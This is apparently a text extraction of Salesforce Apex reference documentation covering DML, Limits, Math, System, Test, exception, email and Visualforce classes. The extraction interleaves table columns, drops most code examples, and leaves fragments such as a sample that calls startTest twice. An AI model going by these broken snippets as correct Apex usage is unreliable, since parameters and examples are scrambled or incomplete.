insert is analogous to the INSERT statement in
database.DMLOptions
SQL.
opt_DMLOptions
291
Reference Apex System Methods
query String query sObject[] Creates a dynamic SOQL query at runtime. This
method can be used wherever a static SOQL query
can be used, such as in regular assignment
statements and for loops.
For more information, see Dynamic SOQL on page
146.
rollback System.Savepoint sp Void Restores the database to the state specified by the
savepoint variable. Any emails submitted since the
last savepoint are also rolled back and not sent.
Note: Static variables are not reverted
during a rollback. If you try to run the
trigger again, the static variables retain the
values from the first run.
292
Reference Apex System Methods
undelete sObject [] UndeleteResult[] Restores one or more existing sObject records, such
recordsToUndelete as individual accounts or contacts, from your
organization’s Recycle Bin. undelete is analogous
Boolean opt_allOrNone
to the UNDELETE statement in SQL.
The optional opt_allOrNone parameter specifies
whether the operation allows partial success. If you
specify false for this parameter and a record fails,
the remainder of the DML operation can still
succeed. This method returns a result object that
can be used to verify which records succeeded,
which failed, and why.
undelete RecordIDs[] ID UndeleteResult [] Restores one or more existing sObject records, such
as individual accounts or contacts, from your
Boolean opt_allOrNone
organization’s Recycle Bin. undelete is analogous
to the UNDELETE statement in SQL.
The optional opt_allOrNone parameter specifies
whether the operation allows partial success. If you
293
Reference Apex System Methods
update sObject [] recordsToUpdate Database.SaveResult Modifies one or more existing sObject records, such
[] as individual accounts or contacts, in your
Boolean opt_allOrNone
organization’s data. update is analogous to the
| UPDATE statement in SQL.
database.DMLOptions The optional opt_allOrNone parameter specifies
opt_DMLOptions whether the operation allows partial success. If you
specify false for this parameter and a record fails,
the remainder of the DML operation can still
succeed. This method returns a result object that
can be used to verify which records succeeded,
which failed, and why.
The optional opt_DMLOptions parameter specifies
additional data for the transaction, such as
assignment rule information or truncation behavior.
Apex classes and triggers saved (compiled) using
API version 15.0 and higher produce a runtime
error if you assign a String value that is too long for
the field.
upsert sObject recordToUpsert Database.UpsertResult Creates a new sObject record or updates an existing
sObject record within a single statement, using an
Schema.SObjectField
optional custom field to determine the presence of
External_ID_Field
existing objects.
294
Reference Apex System Methods
upsert sObject [] recordsToUpsert Database.UpsertResult Cusing an optional custom field to determine the
[] presence of existing objects.
Schema.SObjectField
External_ID_Field The External_ID_Field is of type
Schema.SObjectField, that is, a field token. Find
Boolean opt_allOrNone
the token for the field by using the fields special
method. For example, Schema.SObjectField
f = Account.Fields.MyExternalId.
The optional opt_allOrNone parameter specifies
whether the operation allows partial success. If you
specify false for this parameter and a record fails,
the remainder of the DML operation can still
succeed. This method returns a result object that
can be used to verify which records succeeded,
which failed, and why.
Apex classes and triggers saved (compiled) using
API version 15.0 and higher produce a runtime
error if you assign a String value that is too long for
the field.
For additional information on the database DML operations, see Apex Data Manipulation Language (DML) Operations on
page 212.
Database Batch Apex Objects and Methods
Database.QueryLocator Method
The following table lists the method for the Database.QueryLocator object:
295
Reference Apex System Methods
System.assertEquals(QLReturnedFromStart.
getQuery(),
Database.getQueryLocator([SELECT Id
FROM Account]).getQuery() );
allowFieldTruncation Method
The allowFieldTruncation method specifies the truncation behavior of strings. In Apex scripts saved against API versions
previous to 15.0, if you specify a value for a string and that value is too large, the value is truncated. For API version 15.0 and
later, if a value is specified that is too large, the operation fails and an error message is returned. The allowFieldTruncation
method allows you to specify that the previous behavior, truncation, be used instead of the new behavior in Apex scripts saved
against API versions 15.0 and later.
The allowFieldTruncation method takes a Boolean value. If true, the method truncates String values that are too long,
which is the behavior in API versions 14.0 and earlier. For example:
assignmentRuleHeader Method
The assignmentRuleHeader method specifies the assignment rule to be used when creating an account, case, or lead.
Note: The database.DMLOptions object supports assignment rules for cases and leads, but not for accounts or territory
management.
The following are the options that can be set with the assignmentRuleHeader:
296
Reference Apex System Methods
useDefaultRule Boolean If specified as true for a case or lead, the system uses the default
(active) assignment rule for the case or lead. If specified, do not
specify an assignmentRuleId.
insert l;
insert l;
emailHeader Method
The Salesforce.com user interface allows you to specify whether or not to send an email when the following events occur:
• Creation of a new case or task
• Creation of a case comment
• Conversion of a case email to a contact
• New user email notification
• Lead queue email notification
• Password reset
In Apex scripts saved against API version 15.0 or later, the Database.DMLOptions emailHeader method enables you to
specify additional information regarding the email that gets sent when one of the events occurs because of the script's execution.
The following are the options that can be set with the emailHeader method:
297
Reference Apex System Methods
Email sent through Apex because of a group event includes additional behaviors. A group event is an event for which
IsGroupEvent is true. The EventAttendee object tracks the users, leads, or contacts that are invited to a group event. Note
the following behaviors for group event email sent through Apex:
• Sending a group event invitation to a user respects the triggerUserEmail option
• Sending a group event invitation to a lead or contact respects the triggerOtherEmail option
• Email sent when updating or deleting a group event also respects the triggerUserEmail and triggerOtherEmail
options, as appropriate
localeOptions Method
The localeOptions method specifies the language of any labels that are returned by an Apex script. The value must be a
valid user locale (language and country), such as de_DE or en_GB. The value is a String, 2-5 characters long. The first two
characters are always an ISO language code, for example 'fr' or 'en.' If the value is further qualified by a country, then the string
also has an underscore (_) and another ISO country code, for example 'US' or 'UK.' For example, the string for the United
States is 'en_US', and the string for French Canadian is 'fr_CA.'
For a list of the languages that Salesforce.com supports, see “What languages does Salesforce.com support?” in the Salesforce.com
online help.
Database EmptyRecycleBinResult Methods
A list of Database.EmptyRecycleBinResult objects is returned by the Database.emptyRecycleBin method. Each object
in the list corresponds to either a record Id or an sObject passed as the parameter in the Database.emptyRecycleBin
method. The first index in the EmptyRecycleBinResult list matches the first record or sObject specified in the list, the second
with the second, and so on.
298
Reference Apex System Methods
The following are all instance methods, that is, they work on a specific instance of an EmptyRecyclelBinResult object. None
of these methods take any arguments.
Limits Methods
Because Apex runs in a multitenant environment, the Apex runtime engine strictly enforces a number of limits to ensure that
runaway scripts do not monopolize shared resources.
The Limits methods return the specific limit for the context in which they are being executed, that is, from a trigger, a Web
service method, and so on.
None of the Limits methods require an argument. The format of the limits methods is as follows:
myDMLLimit = Limits.getDMLStatements();
There are two versions of every method: the first returns the amount of the resource that has been used in the current context,
while the second version contains the word limit and returns the total amount of the resource that is available for that context.
See Understanding Execution Governors and Limits on page 184.
299
Reference Apex System Methods
getFieldsDescribes Integer Returns the number of field describe calls that have been made
in the current context.
getLimitFieldsDescribes Integer Returns the total number of field describe calls that can be
made in the current context.
getFindSimilarCalls Integer Returns the number of findSimilar methods that have
been executed in the current context.
getLimitFindSimilarCalls Integer Returns the total number of findSimilar methods that can
be executed in the current context.
300
Reference Apex System Methods
301
Reference Apex System Methods
Math Methods
The following are the system static methods for Math.
abs Long l Long Returns the absolute value of the specified Long
acos Decimal d Decimal Returns the arc cosine of an angle, in the range of 0.0
through pi
acos Double d Double Returns the arc cosine of an angle, in the range of 0.0
through pi
asin Decimal d Decimal Returns the arc sine of an angle, in the range of -pi/2
through pi/2
asin Double d Double Returns the arc sine of an angle, in the range of -pi/2
through pi/2
atan Decimal d Decimal Returns the arc tangent of an angle, in the range of -pi/2
through pi/2
atan Double d Double Returns the arc tangent of an angle, in the range of -pi/2
through pi/2
302
Reference Apex System Methods
303
Reference Apex System Methods
max Double d1 Double Returns the larger of the two specified Doubles
Double d2
max Integer i1 Integer Returns the larger of the two specified Integers
Integer i2
max Long l1 Long Returns the larger of the two specified Longs
Long l2
min Decimal d1 Decimal Returns the smaller of the two specified Decimals. For
example:
Decimal d2
Decimal smaller = math.min(12.3, 156.6);
system.assertEquals(smaller, 12.3);
min Double d1 Double Returns the smaller of the two specified Doubles
Double d2
min Integer i1 Integer Returns the smaller of the two specified Integers
Integer i2
min Long l1 Long Returns the smaller of the two specified Longs
Long l2
mod Integer i1 Integer Returns the remainder of i1 divided by i2. For example:
Integer i2
Integer remainder = math.mod(12, 2);
system.assertEquals(remainder, 0);
pow Double d Double Returns the value of the first Double raised to the power
of exp
Double exp
304
Reference Apex System Methods
sin Double d Double Returns the trigonometric sine of the angle specified by
d
sinh Decimal d Decimal Returns the hyperbolic sine of d. The hyperbolic sine of
d is defined to be (ex - e-x)/2 where e is Euler's number.
sinh Double d Double Returns the hyperbolic sine of d. The hyperbolic sine of
d is defined to be (ex - e-x)/2 where e is Euler's number.
sqrt Decimal d Decimal Returns the correctly rounded positive square root of d
sqrt Double d Double Returns the correctly rounded positive square root of d
tan Decimal d Decimal Returns the trigonometric tangent of the angle specified
by d
tan Double d Double Returns the trigonometric tangent of the angle specified
by d
305
Reference Apex System Methods
Package Methods
A package version is a number that identifies the set of components uploaded in a package. The version number has the format
majorNumber.minorNumber.patchNumber (for example, 2.1.3). The major and minor numbers increase to a chosen value
during every major release. The patchNumber is generated and updated only for a patch release. If there is no patchNumber,
it is assumed to be zero (0). Patch versions are currently available through a pilot program. For information on enabling patch
versions for your organization, contact salesforce.com.
The package methods are used by package developers to customize behavior for different package versions. They allow the
package developer to continue to support existing behavior in classes and triggers in previous package versions while continuing
to evolve the code.
The package methods rely on special objects to allow a class to exhibit different behavior when it references different package
versions. These objects can only be used in classes that are in a managed package.
Package.Version.Request
Apex classes and triggers are saved with the version settings for each installed managed package that the Apex class or
trigger references. This context object represents the package version referenced by the class or trigger.
Note: You cannot use the Package.Version.Request object in unmanaged packages.
Package.Version.majorNumber.minorNumber.patchNumber
This object represents a package version referenced by the class or trigger.
For example, Package.Version.2.1 represents version 2.1 of the package. You can use this object together with
Package.Version.Request to specify different behavior for different package versions. You can only use this object to
refer to a Managed - Released package version. You cannot use it to reference Managed - Beta package versions.
Note: The patchNumber cannot be referenced by the Apex package methods.
306
Reference Apex System Methods
if (Package.Version.Request ==
Package.Version.1.0)
{
// do something
}
else if
(Package.Version.Request.isGreaterThan(Package.Version.2.0))
{
// do something different
}
else if
(Package.Version.Request.isGreaterThan(Package.Version.2.3))
{
// do something completely different
}
isGreaterThanOrEqual Package Version Boolean Returns true if the package version is greater than or equal to
Package.Version.major.minor the package version specified in the argument.
isLessThan Package Version Boolean Returns true if the package version is less than the package
Package.Version.major.minor version specified in the argument.
isLessThanOrEqual Package Version Boolean Returns true if the package version is less than or equal to the
Package.Version.major.minor package version specified in the argument.
For more information, see Versioning Apex Code Behavior on page 190.
Search Methods
The following are the system static methods for Search.
System Methods
The following are the static methods for System.
Note: AnyDataType represents any primitive, object record, array, map, set, or the special value null.
307
Reference Apex System Methods
assertEquals Any data type x, Void Asserts that the first two arguments, x and
y are the same. If they are not, a runtime
Any data type y,
exception is thrown with the optional third
Any data type argument, opt_msg as part of its message.
opt_msg
assertNotEquals Any data type x, Void Asserts that the first two arguments, x and
y are different. If they are the same, a
Any data type y,
runtime exception is thrown with the
Any data type optional third argument, opt_msg as part of
opt_msg its message.
308
Reference Apex System Methods
debug Enum logLevel Void Specifies the log level for all debug methods.
Any data type msg Note: Calls to System.debug are
not counted as part of Apex code
coverage in unit tests.
System.debug
(Logginglevel.ERROR);
System.debug(Logginglevel.INFO,
'MsgTxt');
309
Reference Apex System Methods
resetPassword ID userID System.ResetPasswordResult Resets the password for the specified user.
When the user logs in with the new
Boolean
password, they are prompted to enter a new
send_user_email
password and to select a security question
and answer if they haven't already. If you
specify true for send_user_email, the
user is sent an email notifying them that their
password was reset. A link to sign onto
Salesforce.com using the new password is
included in the email. Use setPassword if
you don't want the user to be prompted to
enter a new password when they log in.
Caution: Be careful with this
method, and do not expose this
functionality to end-users.
310
Reference Apex System Methods
runAs User user_var Void Changes the current user to the specified
user. All of the specified user's permissions
and record sharing are enforced during the
execution of runAs. You can only use runAs
in a test method.
Note: The runAs method ignores
user license limits. You can create
new users with runAs even if your
organization has no additional user
licenses.
311
Reference Apex System Methods
schedule String JobName String Use schedule with an Apex class that
implements the Schedulable interface to
String
schedule the class to run at the time specified
CronExpression
by CronExpression. Use extreme care if
Object you are planning to schedule a class from a
schedulable_class trigger. You must be able to guarantee that
the trigger will not add more scheduled
classes than the ten that are allowed. In
particular, consider API bulk updates, import
wizards, mass record changes through the
user interface, and all cases where more than
one record can be updated at a time.
Note: Salesforce.com only adds the
process to the queue at the scheduled
time. Actual execution may be
delayed based on service availability.
312
Reference Apex System Methods
Log levels are cumulative. For example, if the lowest level, ERROR is specified, only debug methods with the log level of
ERROR are logged. If the next level, WARN, is specified, the debug log contains debug methods specified as either ERROR
or WARN.
In the following example, the string MsgTxt is not written to the debug log because the log level is ERROR and the debug
method has a level of INFO:
System.debug(logginglevel.INFO, 'MsgTxt');
For more information on log levels, see “Setting Debug Log Filters” in the Salesforce.com online help.
Example:
313
Reference Apex System Methods
Note: Use extreme care if you are planning to schedule a class from a trigger. You must be able to guarantee that the
trigger will not add more scheduled classes than the ten that are allowed. In particular, consider API bulk updates,
import wizards, mass record changes through the user interface, and all cases where more than one record can be
updated at a time.
The System.Schedule method takes three arguments: a name for the job, an expression used to represent the time and
date the job is scheduled to run, and the name of the class. This expression has the following syntax:
Note: Salesforce.com only adds the process to the queue at the scheduled time. Actual execution may be delayed based
on service availability.
The System.Schedule method uses the user's timezone for the basis of all schedules.
Day_of_month 1–31 , - * ? / L W
314
Reference Apex System Methods
Expression Description
0 0 13 * * ? Class runs every day at 1 P.M.
0 0 22 ? * 6L Class runs the last Friday of every month at 10 P.M.
0 0 10 ? * MON-FRI Class runs Monday through Friday at 10 A.M.
0 0 20 * * ? 2010 Class runs every day at 8 P.M. during the year 2010.
315
Reference Apex System Methods
In the following example, the class proschedule implements the Schedulable interface. The class is scheduled to run at
8 A.M., on the 13th of February.
System.ResetPasswordResult Object
A System.ResetPasswordResult object is returned by the System.ResetPassword method. This can be used to access the
generated password.
The following is the instance method for the System.ResetPasswordResult object:
Test Methods
The following are the system static methods for Test.
316
Reference Apex System Methods
startTest Void Marks the point in your test code when your
test actually begins. Use this method when
you are testing governor limits. You can also
use this method with stopTest to ensure
that all asynchronous calls that come after the
startTest method are run before doing any
assertions or testing. Each testMethod is
allowed to call this method only once. All of
the code before this method should be used
to initialize variables, populate data structures,
and so on, allowing you to set up everything
you need in order to run your test. After you
call this method, the limits that get applied
are based on either the first DML statement
(like INSERT, DELETE, and so on) or the first
Web service invocation. The following
example tests trigger limits:
test.starttest();
// The first significant
statement is below
// Trigger context limits
applied -
Account s = new
Account(name='test');
insert s;
test.starttest();
String holder =
wsclass.executeWebService(foo);
stopTest Void Marks the point in your test code when your
test ends. Use this method in conjunction with
the startTest method. Each testMethod
is allowed to call this method only once. After
calling this method, any post assertions are
done in the original context. All asynchronous
calls made after the startTest method are
collected by the system. When stopTest is
executed, all asynchronous processes are run
synchronously.
Note: Asynchronous calls, such as
@future or executeBatch, called
in a startTest, stopTest block,
do not count against your limits for
the number of queued jobs.
317
Reference Apex System Methods
UserInfo Methods
The following are the system static methods for UserInfo.
getName String Returns the context user's full name. The format
of the name depends on the language preferences
specified for the organization. The format is one of
the following:
• FirstName LastName
• LastName, FirstName
getUiThemeDisplayed String Returns the theme being displayed for the current
user.
Valid values are:
• Theme1
• Theme2
• PortalDefault
• Webstore
318
Reference Using Exception Methods
Exception Description
AsyncException Any issue with an asynchronous operation, such as failing to enqueue an asynchronous
call.
CalloutException Any issue with a Web service operation, such as failing to make a callout to an external
system.
DmlException Any issue with a DML statement, such as an insert statement missing a required field
on a record.
EmailException Any issue with email, such as failure to deliver. For more information, see Apex Email
Classes on page 322.
InvalidParameterValueException Any issue with a URL. This is generally used with Visualforce pages. For more
information on Visualforce, see the Visualforce Developer's Guide.
ListException Any issue with a list, such as attempting to access an index that is out of bounds.
MathException Any issue with a mathematical operation, such as dividing by zero.
NoAccessException Any issue with unauthorized access, such as trying to access an sObject that the current
user does not have access to. This is generally used with Visualforce pages. For more
information on Visualforce, see the Visualforce Developer's Guide.
NoDataFoundException Any issue with data that does not exist, such as trying to access an sObject that has been
deleted. This is generally used with Visualforce pages. For more information on
Visualforce, see the Visualforce Developer's Guide.
NoSuchElementException Used specifically by the Iterator next method. This exception is thrown if you try to
access items beyond the end of the list. For example, if iterator.hasNext() ==
false and you call iterator.next(), this exception is thrown.
319
Reference Using Exception Methods
Exception Description
NullPointerException Any issue with dereferencing null, such as in the following code:
String s;
s.toLowerCase(); // Since s is null, this call causes
// a NullPointerException
QueryException Any issue with SOQL queries, such as assigning a query that returns no records or more
than one record to a singleton sObject variable.
RequiredFeatureMissing A Chatter feature is required for code that has been deployed to an organization that
does not have Chatter enabled.
SearchException Any issue with SOSL queries executed with the Force.com Web services API search()
call, for example, when the searchString parameter contains less than two characters.
For more information, see the Force.com Web services API Developer's Guide.
SecurityException Any issue with static methods in the Crypto utility class. For more information, see
Crypto Class on page 377.
SerializationException Any issue with the serialization of data. This is generally used with Visualforce pages.
For more information on Visualforce, see the Visualforce Developer's Guide.
SObjectException Any issue with sObject records, such as attempting to change a field in an update
statement that can only be changed during insert.
StringException Any issue with Strings, such as a String that is exceeding your heap size.
TypeException Any issue with type conversions, such as attempting to convert the String 'a' to an Integer
using the valueOf method.
VisualforceException Any issue with a Visualforce page. For more information on Visualforce, see the
Visualforce Developer's Guide.
XmlException Any issue with the XmlStream classes, such as failing to read or write XML. For more
information, see XmlStream Classes on page 384.
320
Reference Apex Classes
StatusCode.REQUIRED_FIELD_MISSING,
ex.getDmlType(0);
}
getNumDml Integer Returns the number of failed rows for DML exceptions.
Apex Classes
Though you can create your classes using Apex, you can also use the system delivered classes for building your application.
• Apex Email Classes
321
Reference Apex Email Classes
• Exception Class
• Visualforce Classes
• Pattern and Matcher Classes
• HTTP (RESTful) Services Classes
• XML Classes
• Apex Approval Processing Classes
• BusinessHours Class
• Apex Community Classes
• Site Class
• Cookie Class
Outbound Email
You can use Apex to send individual and mass email. The email can include all standard email attributes (such as subject line
and blind carbon copy address), use Salesforce.com email templates, and be in plain text or HTML format, or those generated
by Visualforce.
Note: Visualforce email templates cannot be used for mass email.
You can use Salesforce.com to track the status of email in HTML format, including the date the email was sent, first opened
and last opened, and the total number of times it was opened. (For more information, see “Tracking HTML Email” in the
Salesforce.com online help.)
To send individual and mass email with Apex, use the following classes:
SingleEmailMessage
Instantiates an email object used for sending a single email message. The syntax is:
MassEmailMessage
Instantiates an email object used for sending a mass email message. The syntax is:
Messaging
Includes the static sendEmail method, which sends the email objects you instantiate with either the
SingleEmailMessage or MassEmailMessage classes, and returns a SendEmailResult object.
The syntax for sending a email is:
322
Reference Apex Email Classes
For more information, see “Organization-Wide Addresses” in the Salesforce.com online help.
Example
// Create a new single email message object
// that will send out a single email to the addresses in the To, CC & BCC list.
Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();
// Strings to hold the email addresses to which you are sending the email.
String[] toAddresses = new String[] {'user@acme.com'};
String[] ccAddresses = new String[] {'smith@gmail.com'};
// Assign the addresses for the To and CC lists to the mail object.
mail.setToAddresses(toAddresses);
mail.setCcAddresses(ccAddresses);
// Specify the address used when the recipients reply to the email.
mail.setReplyTo('support@acme.com');
323
Reference Apex Email Classes
setReplyTo String Void Optional. The email address that receives the
message when a recipient replies.
setTemplateID ID Void The ID of the template to be merged to create
this email. You must specify a value for
setTemplateId, setHtmlBody, or
setPlainTextBody. Or, you can define both
setHtmlBody and setPlainTextBody.
324
Reference Apex Email Classes
325
Reference Apex Email Classes
setCharset String Void Optional. The character set for the email. If this
value is null, the user's default value is used.
setDocumentAttachments ID[] Void Optional. A list containing the ID of each
document object you want to attach to the email.
You can attach multiple documents as long as
the total size of all attachments does not exceed
10 MB.
setFileAttachments EmailFileAttachment[] Void Optional. A list containing the file names of the
binary and text files you want to attach to the
email. You can attach multiple files as long as
the total size of all attachments does not exceed
10 MB.
setHtmlBody String Void Optional. The HTML version of the email,
specified by the sender. The value is encoded
according to the specification associated with
the organization. You must specify a value for
setTemplateId, setHtmlBody, or
setPlainTextBody. Or, you can define both
setHtmlBody and setPlainTextBody.
326
Reference Apex Email Classes
327
Reference Apex Email Classes
In addition, the Messaging.MassEmailMessage class has access to the base email message methods.
328
Reference Apex Email Classes
setReplyTo String Void Optional. The email address that receives the
message when a recipient replies.
setTemplateID ID Void The ID of the template to be merged to create
this email. You must specify a value for
setTemplateId, setHtmlBody, or
setPlainTextBody. Or, you can define both
setHtmlBody and setPlainTextBody.
EmailFileAttachment Methods
The EmailFileAttachment object is used in the SingleEmailMessage object to specify attachments passed in as part of the
request, as opposed to existing documents in Salesforce.com.
329
Reference Apex Email Classes
Inbound Email
You can use Apex to receive and process email and attachments. The email is received by the Apex email service, and processed
by Apex classes that utilize the InboundEmail object.
Note: The Apex email service is only available in Developer, Enterprise and Unlimited Edition organizations.
330
Reference Apex Email Classes
• InboundEmail Object
• InboundEmail.Header Object
• InboundEmail.BinaryAttachment Object
• InboundEmail.TextAttachment Object
• InboundEmailResult Object
• InboundEnvelope Object
What is the Apex Email Service?
Email services are automated processes that use Apex classes to process the contents, headers, and attachments of inbound
email. For example, you can create an email service that automatically creates contact records based on contact information
in messages.
You can associate each email service with one or more Salesforce.com-generated email addresses to which users can send
messages for processing. To allow multiple users to use a single email service, you can:
• Associate multiple Salesforce.com-generated email addresses with the email service, and allocate those addresses to users.
• Associate a single Salesforce.com-generated email address with the email service, and write an Apex class that executes
according to the user accessing the email service. For example, you can write an Apex class that identifies the user based
on the user's email address, and creates records on behalf of that user.
To use email services, click Your Name ➤ Setup ➤ Develop ➤ Email Services.
• Click New Email Service to define a new email service.
• Select an existing email service to view its configuration, activate or deactivate it, and view or specify addresses for that
email service.
• Click Edit to make changes to an existing email service.
• Click Delete to delete an email service.
Note: Before deleting email services, you must delete all associated email service addresses.
// Create an inboundEmailResult object for returning the result of the Apex Email Service
331
Reference Apex Email Classes
myPlainText = email.plainTextBody;
}
// If an exception occurs when the query accesses
// the contact record, a QueryException is called.
// The exception is written to the Apex debug log.
catch (QueryException e) {
System.debug('Query Issue: ' + e);
}
// Set the result to true. No need to send an email back to the user
// with an error message
result.success = true;
}
}
InboundEmail Object
An InboundEmail object has the following fields.
332
Reference Apex Email Classes
333
Reference Apex Email Classes
InboundEmail.Header Object
An InboundEmail object stores RFC 2822 email header information in an InboundEmail.Header object with the following
fields.
InboundEmail.BinaryAttachment Object
An InboundEmail object stores binary attachments in an InboundEmail.BinaryAttachment object.
Examples of binary attachments include image, audio, application, and video files.
An InboundEmail.BinaryAttachment object has the following fields.
InboundEmail.TextAttachment Object
An InboundEmail object stores text attachments in an InboundEmail.TextAttachment object.
The text attachments can be any of the following:
• Attachments with a Multipurpose Internet Mail Extension (MIME) type of text
• Attachments with a MIME type of application/octet-stream and a file name that ends with either a .vcf or .vcs
extension. These are saved as text/x-vcard and text/calendar MIME types, respectively.
An InboundEmail.TextAttachment object has the following fields.
InboundEmailResult Object
The InboundEmailResult object is used to return the result of the email service. If this object is null, the result is assumed to
be successful. The InboundEmailResult object has the following fields.
334
Reference Exception Class
message String A message that Salesforce.com returns in the body of a reply email. This field
can be populated with text irrespective of the value returned by the Success
field.
InboundEnvelope Object
The InboundEnvelope object stores the envelope information associated with the inbound email, and has the following fields.
Exception Class
You can create your own exception classes in Apex. Exceptions can be top-level classes, that is, they can have member variables,
methods and constructors, they can implement interfaces, and so on.
Exceptions that you create behave as any other standard exception type, and can be thrown and caught as expected.
User-defined exception class names must end with the string exception, such as “MyException”, “PurchaseException” and
so on. All exception classes automatically extend the system-defined base class exception.
For example, the following code defines an exception type within an anonymous block:
try {
Integer i;
// Your code here
if (i < 5) throw new MyException();
} catch (MyException e) {
// Your MyException handling code here
}
Like Java classes, user-defined exception types can form an inheritance tree, and catch blocks can catch any portion. For
example:
try {
Integer i;
// Your code here
if (i < 5) throw new OtherException('This is bad');
} catch (BaseException e) {
// This catches the OtherException
}
335
Reference Exception Class
Constructing an Exception
You can construct exceptions:
• With no arguments:
new MyException();
• With a single Exception argument that specifies the cause and that displays in any stack trace:
new MyException(e);
• With both a String error message and a chained exception cause that displays in any stack trace:
For example the following code generates a stack trace with information about both My1Exception and My2Exception:
The following figure shows the stack trace that results from running the code above:
336
Reference Visualforce Classes
Exception e1;
try {
String s = null;
s.tolowercase(); // This will generate a null pointer exception...
} catch (System.NullPointerException e) {
e1 = e; // ...which can be assigned to a variable, or passed
// into or out of another method
}
Visualforce Classes
In addition to giving developers the ability to add business logic to Salesforce.com system events such as button clicks and
related record updates, Apex can also be used to provide custom logic for Visualforce pages through custom Visualforce
controllers and controller extensions:
• A custom controller is a class written in Apex that implements all of a page's logic, without leveraging a standard controller.
If you use a custom controller, you can define new navigation elements or behaviors, but you must also reimplement any
functionality that was already provided in a standard controller.
Like other Apex classes, custom controllers execute entirely in system mode, in which the object and field-level permissions
of the current user are ignored. You can specify whether a user can execute methods in a custom controller based on the
user's profile.
• A controller extension is a class written in Apex that adds to or overrides behavior in a standard or custom controller.
Extensions allow you to leverage the functionality of another controller while adding your own custom logic.
Because standard controllers execute in user mode, in which the permissions, field-level security, and sharing rules of the
current user are enforced, extending a standard controller allows you to build a Visualforce page that respects user permissions.
337
Reference Visualforce Classes
Although the extension class executes in system mode, the standard controller executes in user mode. As with custom
controllers, you can specify whether a user can execute methods in a controller extension based on the user's profile.
This section includes information about the system-supplied Apex classes that can be used when building custom Visualforce
controllers and controller extensions. These include:
• Action Class
• Message Class
• PageReference Class
• SelectOption Class
• StandardController Class
• StandardSetController Class
In addition to these classes, the transient keyword can be used when declaring methods in controllers and controller
extensions. For more information, see Using the transient Keyword on page 108.
For more information on Visualforce, see the Visualforce Developer's Guide.
Action Class
You can use an ApexPages.Action class to create an action method that you can use in a Visualforce custom controller or
controller extension. For example, you could create a saveOver method on a controller extension that performs a custom
save.
Instantiation
The following code snippet illustrates how to instantiate a new ApexPages.Action object that uses the save action:
Methods
The action methods are all called by and operate on a particular instance of Action.
The table below describes the instance methods for Action.
Example
In the following example, when the user updates or creates a new Account and clicks the Save button, in addition to the
account being updated or created, the system writes a message to the system debug log. This example extends the standard
controller for Account.
The following is the controller extension.
338
Reference Visualforce Classes
The following is the Visualforce markup for a page that uses the above controller extension.
<apex:component>
<apex:attribute name="actionToInvoke" type="ApexPages.Action" .... />
...
<apex:commandButton value="Perform Controller Action" action="{!actionToInvoke}"/>
...
</apex:component>
<apex:page controller="pageCon">
<c:myComp actionToInvoke="{!RedirectToStep2}"/>
...
</apex:page>
For information on the debug log, see “Viewing Debug Logs” in the Salesforce.com online help.
IdeaStandardController Class
IdeaStandardController objects offer Ideas-specific functionality in addition to what is provided by the StandardController
Class.
Note: The IdeaStandardSetController and IdeaStandardController classes are currently available through
a limited release program. For information on enabling these classes for your organization, contact your salesforce.com
representative.
Instantiation
An IdeaStandardController object cannot be instantiated. An instance can be obtained through a constructor of a custom
extension controller when using the standard ideas controller.
Methods
A method in the IdeaStandardController object is called by and operated on a particular instance of an IdeaStandardController.
The table below describes the instance method for IdeaStandardController.
In addition to the method listed above, the IdeaStandardController class inherits all the methods associated with the
StandardController Class. The following table lists these methods.
339
Reference Visualforce Classes
<apex:outputText
value="{!account.billingcity}
{!account.contacts}"
rendered="false"/>
340
Reference Visualforce Classes
Example
The following example shows how an IdeaStandardController object can be used in the constructor for a custom list controller.
This example provides the framework for manipulating the comment list data before displaying it on a Visualforce page.
The following Visualforce markup shows how the IdeaStandardController example shown above can be used in a page. This
page must be named detailPage for this example to work.
Note: For the Visualforce page to display the idea and its comments, in the following example you need to specify
the ID of a specific idea (for example, /apex/detailPage?id=<ideaID>) whose comments you want to view.
341
Reference Visualforce Classes
See Also:
Ideas Class
IdeaStandardSetController Class
IdeaStandardSetController objects offer Ideas-specific functionality in additional to what is provided by the
StandardSetController Class.
Note: The IdeaStandardSetController and IdeaStandardController classes are currently available through
a limited release program. For information on enabling these classes for your organization, contact your salesforce.com
representative.
Instantiation
An IdeaStandardSetController object cannot be instantiated. An instance can be obtained through a constructor of a custom
extension controller when using the standard list controller for ideas.
Methods
A method in the IdeaStandardSetController object is called by and operated on a particular instance of an
IdeaStandardSetController.
The table below describes the instance method for IdeaStandardSetController.
342
Reference Visualforce Classes
In addition to the method listed above, the IdeaStandardSetController class inherits the methods associated with the
StandardSetController Class.
Note: The methods inherited from the StandardSetController Class cannot be used to affect the list of ideas
returned by the getIdeaList method.
343
Reference Visualforce Classes
The following Visualforce markup shows how the IdeaStandardSetController example shown above and the
<ideas:profileListOutputLink> component can display a profile page that lists the recent replies, submitted ideas,
and votes associated with a user. Because this example does not identify a specific user ID, the page automatically shows the
profile page for the current logged in user. This page must be named profilePage in order for this example to work:
344
Reference Visualforce Classes
</apex:page>
In the previous example, the <ideas:detailoutputlink> component links to the following Visualforce markup that
displays the detail page for a specific idea. This page must be named viewPage in order for this example to work:
Example: Displaying a List of Top, Recent, and Most Popular Ideas and Comments
The following example shows how an IdeaStandardSetController object can be used in the constructor for a custom list
controller:
Note: You must have created at least one idea for this example to return any ideas.
The following Visualforce markup shows how the IdeaStandardSetController example shown above can be used with the
<ideas:listOutputLink> component to display a list of recent, top, and most popular ideas and comments. This page
must be named listPage in order for this example to work:
345
Reference Visualforce Classes
{!ideadata.title}</ideas:detailoutputlink>
</apex:dataList>
</apex:pageBlock>
</apex:page>
In the previous example, the <ideas:detailoutputlink> component links to the following Visualforce markup that
displays the detail page for a specific idea. This page must be named viewPage.
See Also:
Ideas Class
KnowledgeArticleVersionStandardController Class
KnowledgeArticleVersionStandardController objects offer article-specific functionality in addition to what is provided by the
StandardController Class.
Methods
The KnowledgeArticleVersionStandardController object has the following specialized instance methods:
In addition to the method listed above, the KnowledgeArticleVersionStandardController class inherits all the methods
associated with the StandardController Class. The following table lists the inherited methods.
Note: Though inherited, the edit, delete, and save methods don't serve a function when used with the
KnowledgeArticleVersionStandardController class.
346
Reference Visualforce Classes
<apex:outputText
value="{!account.billingcity}
{!account.contacts}"
rendered="false"/>
347
Reference Visualforce Classes
Example
The following example shows how a KnowledgeArticleVersionStandardController object can be used to create a custom
extension controller. In this example, you create a class named AgentContributionArticleController that allows customer-support
agents to see pre-populated fields on the draft articles they create while closing cases.
Prerequisites:
1. Create an article type called FAQ. For instructions, see ”Defining Article Types” in the Salesforce.com online help.
